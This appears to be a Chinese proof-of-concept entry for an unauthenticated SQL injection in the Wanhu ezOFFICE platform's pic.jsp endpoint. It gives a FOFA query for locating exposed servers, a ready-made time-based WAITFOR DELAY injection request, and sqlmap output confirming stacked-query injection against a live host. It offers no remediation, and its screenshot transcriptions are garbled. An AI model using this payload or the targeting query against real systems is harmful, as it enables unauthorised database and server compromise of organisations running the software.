W1-7万户-ezOffice-SQL

漏洞描述:

万户 exOFFICE /defaultroot/platform/portal/portlet/pic/pic.jsp接口处存在SOL注入漏洞,未授权的攻击者可利用此漏洞获取数据库权限,深入利用可获取服务器权限。

网站图片:

万户ezOFFICE协同管理平台

网络测绘:

fofa语法:

FOFA: app="万户ezOFFICE协同管理平台"

漏洞复现:

payload

GET /defaultroot/platform/portal/portlet/pic/pic.jsp?num=1&channelId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip

效果图:

```
延时5秒
 Request
                                                                                          〈 〉 数据包扫描 热抗
                                                                                                                                                                               > / 5187ms
          GET·/defaultroot/platform/portal/portlet/pic/pic.jsp?num
                                                                                                                                                        1
                                                                                                                                                              HTTP/1.1 200 OK
   1
           WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
                                                                                                                                                              Date: Mon, 29 Jan 2024 16:22:53 GMT
           Host: 30:8038
                                                                                                                                                              Content-Type: text/html; charset=utf-8
Connection: keep-alive
          User-Agent: Mozilla/5.0 (Macintosh: Intel Mac OS X 10 14 3) AppleWebKit/605.1.15 (KHTML, like
           Gecko) Version/12.0.3 Safari/605.1.15
                                                                                                                                                              x-frame-options: SAMEORIGIN
          Accept-Encoding: gzip
                                                                                                                                              П
                                                                                                                                                              Set-Cookie: OASESSIONID=14C2FDB23C6411258D
                                                                                                                                                              Set-Cookie: ..sl-session=I8oiUV@iuWVaDJa24X
                                                                                                                                                              Content-Length: 11058
                                                                                                                                                       10
                                                                                                                                                       12
                                                                                                                                                       15
                                                                                                                                                       16
                                                                                                                                                       19
                                                                                                                                                       22 v <html·xmlns="http://www.w3.org/1999/xhtml
                                                                                                                                                       23 V <head>
                                                                                                                                                               <meta·http-equiv="Content-Type"·content="1</pre>
                                                                                                                                                       25 🗸
                                                                                                                                                                 ···<script·type="text/javascript">
                                                                                                                                                                  var whirRootPath = "/defaultroot";
Salman验证
 [root@VM-16-8-centos sqlmap-1.7]# python3 sqlmap.py -u "<u>http://^^ ^^^ iff file 8-centos sqlmap-1.7]</u># python3 sqlmap.py -u "<u>http://</u>^^ ^^^ iff file 8-centos sqlmap-1.7]# python3 sqlmap.py -u "<u>http://</u>^^ ^^^ iff file 8-centos sqlmap-1.7]# python3 sqlmap.py -u "http://
                                         https://sqlmap.org
 [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibilit
l, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
 [*] starting @ 00:27:12 /2024-01-30/
custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q] y
[00:27:14] [INFO] resuming back-end DBMS 'microsoft sql server'
[00:27:14] [INFO] testing connection to the target URL
[00:27:15] [INFO] heuristics detected web page charset 'utf-8'
you have not declared cookie(s), while server wants to set its own ('sl-session=j3CxfmIjuWU... MAQGW0eGGg=;0ASESSIONID=1F868F2F5FD...FC
e those [Y/n] y sqlmap resumed the following injection point(s) from stored session:
Parameter: #1* (URI)

Type: stacked queries

Title: Microsoft SQL Server/Sybase stacked queries (comment)
                                                     :--\:\:8038/defaultroot/platform/portal/portlet/pic/pic.jsp?num=1&channelId=1';WAITFOR DELAY '0:0:5'
```